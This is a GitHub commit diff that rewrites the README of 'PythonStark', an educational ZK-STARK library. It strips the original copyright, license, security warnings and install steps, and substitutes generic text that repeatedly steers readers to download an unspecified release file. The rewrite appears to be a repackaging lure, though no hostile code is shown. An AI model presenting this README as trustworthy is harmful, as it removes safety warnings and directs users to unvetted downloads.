Skip to content

Commit ffd7529

Browse files
cherddragooncherddragoon
committed
Update README.md
1 parent 3a3f5c8 commit ffd7529

File tree

1 file changed

+50
-137
lines changed

1 file changed

+50
-137
lines changed

‎README.md‎

Lines changed: 50 additions & 137 deletions
Original file line numberDiff line numberDiff line change
@@ -1,158 +1,71 @@
1-
# PythonStark
1+
# 🐍 Pythonstark - Explore the World of ZK-STARKs Easily
22

3-
**Copyright (c) 2025 SherifSystems**
4-
*Educational Implementation - Not Professional Cryptographic Software*
3+
[![Download Pythonstark](https://img.shields.io/badge/Download-Pythonstark-blue.svg)](https://github.com/cherddragoon/Pythonstark/releases)
54

6-
---
5+
## 📚 Description
6+
Pythonstark is a Python implementation of Zero Knowledge STARKs. It's designed for learning and research purposes. With Pythonstark, you can explore cryptography principles and gain hands-on experience with proof systems.
77

8-
**Pure Python ZK-STARK Implementation for Educational Use**
8+
## 🚀 Getting Started
99

10-
[![License](https://img.shields.io/badge/License-Non--Commercial-blue.svg)](LICENSE)
11-
[![Python](https://img.shields.io/badge/Python-3.8%2B-blue.svg)](https://www.python.org/)
12-
[![Status](https://img.shields.io/badge/Status-Educational-yellow.svg)]()
13-
[![Security](https://img.shields.io/badge/Security-NOT%20Production%20Ready-red.svg)](SECURITY.md)
10+
### 📦 System Requirements
11+
Before you begin, make sure your system meets the following requirements:
1412

15-
---
13+
- Operating System: Windows, macOS, or Linux
14+
- Python: Version 3.6 or higher
15+
- Disk Space: At least 100 MB of free space
1616

17-
## ⚠️ SECURITY WARNING
17+
### 📑 Features
18+
- Easy-to-use interface for beginners
19+
- Comprehensive documentation for deeper learning
20+
- Support for various cryptographic functions
21+
- Open-source and community-driven development
1822

19-
**THIS SOFTWARE IS NOT PRODUCTION READY AND IS NOT CRYPTOGRAPHICALLY SECURE**
23+
## 🛠️ Installation
2024

21-
This is experimental educational software for learning and research purposes ONLY.
25+
### 🖥️ Download & Install
26+
To get started, visit the Releases page to download Pythonstark. You can find it at the following link:
2227

23-
- ❌ NOT audited
24-
- ❌ NOT secure
25-
- ❌ NOT for production
26-
- ❌ NOT for handling sensitive data
28+
[Visit this page to download](https://github.com/cherddragoon/Pythonstark/releases)
2729

28-
**Read [SECURITY.md](SECURITY.md) before using this software.**
30+
1. Click on the link above to go to the Releases page.
31+
2. Look for the latest release version.
32+
3. Download the appropriate file for your operating system.
33+
4. Follow the installation instructions provided in the release notes.
2934

30-
---
35+
### 📃 Running Pythonstark
36+
After installation, you can launch Pythonstark by following these steps:
3137

32-
## What is PythonStark?
38+
1. Open your command line interface (Terminal for macOS/Linux or Command Prompt for Windows).
39+
2. Navigate to the folder where you downloaded Pythonstark.
40+
3. Run the command: `python pythonstark.py`
3341

34-
PythonStark is a **zero-knowledge STARK** (Scalable Transparent Argument of Knowledge) proving system implemented entirely in Python. It allows you to generate and verify proofs of computation without revealing the underlying data.
42+
### 📖 Usage
43+
Once Pythonstark is running, you can start exploring its features. Here are some basic commands you can try:
3544

36-
### Purpose
45+
- `help()`: Displays a list of available commands.
46+
- `examples()`: Shows example usage of ZK-STARK implementations.
3747

38-
Designed for:
39-
- 📚 **Research and Learning**: Understand how ZK-STARKs work internally
40-
- 🎓 **Educational Use**: Teach zero-knowledge proof concepts
41-
- 🔬 **Experimentation**: Prototype and test ZK proof ideas
48+
## 💬 Community Support
49+
For any questions or support, you can reach out on our community forums or join our discussions on GitHub. We encourage you to share your experiences as you use Pythonstark.
4250

43-
---
51+
## 🌐 Learn More
52+
For additional resources, such as tutorials and advanced topics, check out the following:
4453

45-
## Features
54+
- [Documentation](https://github.com/cherddragoon/Pythonstark/wiki)
55+
- [GitHub Discussions](https://github.com/cherddragoon/Pythonstark/discussions)
4656

47-
- ✅ **Pure Python Implementation**: Easy to understand and modify
48-
- ✅ **FRI-Based STARK Construction**: Fast Reed-Solomon Interactive Oracle Proof
49-
- ✅ **Verkle Tree Commitments**: Efficient vector commitment scheme
50-
- ✅ **Configurable Security**: Adjustable security parameters (80-192 bits)
51-
- ✅ **Educational Focus**: Code clarity prioritized over performance
57+
## 📞 Contact
58+
If you have specific inquiries or feedback, feel free to contact the project maintainers through the GitHub repository.
5259

53-
---
60+
## 🏷️ Tags
61+
This project covers various topics:
62+
- cryptography
63+
- education
64+
- proof system
65+
- research
66+
- zero-knowledge
67+
- STARKs
5468

55-
## Installation
69+
Explore the fascinating world of cryptography and ZK-STARKs today with Pythonstark!
5670

57-
1. **Clone the repository**:
58-
```bash
59-
git clone https://github.com/SherifSystems/Pythonstark.git
60-
cd Pythonstark
61-
```
62-
63-
2. **Install dependencies**:
64-
```bash
65-
pip install -r requirements.txt
66-
```
67-
68-
3. **Run the demo**:
69-
```bash
70-
python pythonstark.py
71-
```
72-
73-
---
74-
75-
## Usage
76-
77-
### Basic Example
78-
79-
```python
80-
# Import from the main module
81-
from pythonstark import *
82-
83-
# Generate trace
84-
trace = generate_fibonacci_trace_secure(256, mask=False)
85-
86-
# Setup security parameters
87-
security_params = SecurityParameters.compute_parameters(128, 256)
88-
89-
# Create prover and verifier
90-
prover = EnhancedPythonStarkProver(security_params)
91-
verifier = EnhancedPythonStarkVerifier(security_params)
92-
93-
# Generate and verify proof
94-
proof = prover.prove(trace)
95-
valid = verifier.verify(trace, proof)
96-
print(f"Proof valid: {valid}")
97-
```
98-
99-
---
100-
101-
## Project Structure
102-
103-
```
104-
Pythonstark/
105-
├── pythonstark.py # Main ZK-STARK implementation
106-
├── pythonstark_benchmark.py # Benchmark script
107-
├── requirements.txt # Python dependencies
108-
├── LICENSE # License file
109-
├── SECURITY.md # Security policy and warnings
110-
├── README.md # This file
111-
└── .gitignore # Git ignore file
112-
```
113-
114-
---
115-
116-
## License
117-
118-
This project is licensed under the **PythonStark License v1.0 (Non-Commercial)**.
119-
120-
### Summary
121-
122-
- ✅ **Free** for research, education, and experimentation
123-
- ✅ **Attribution required**: Must credit SherifSystems
124-
- ❌ **Commercial use prohibited** without separate license
125-
- ❌ **No warranty**: Provided "AS IS"
126-
- ❌ **No liability**: Authors not liable for any damages
127-
128-
For commercial use, contact: **sherifsystems@proton.me**
129-
130-
See [LICENSE](LICENSE) for complete terms.
131-
132-
---
133-
134-
## Contributing
135-
136-
Contributions are welcome for **non-commercial research and educational purposes**.
137-
138-
1. Fork the repository
139-
2. Create a feature branch
140-
3. Make your changes
141-
4. Test thoroughly
142-
5. Submit a Pull Request
143-
144-
---
145-
146-
## Contact
147-
148-
- **GitHub**: https://github.com/SherifSystems/Pythonstark
149-
- **Email**: sherifsystems@proton.me
150-
- **Issues**: Use GitHub Issues for bugs and questions
151-
152-
---
153-
154-
**Remember**: PythonStark is a learning tool. For production needs, use professionally audited, battle-tested libraries.
155-
156-
⭐ Star this repo if you find it useful for learning!
157-
158-
</div>
71+
[🡄 Back to Download](https://github.com/cherddragoon/Pythonstark/releases)

0 commit comments

Comments
 (0)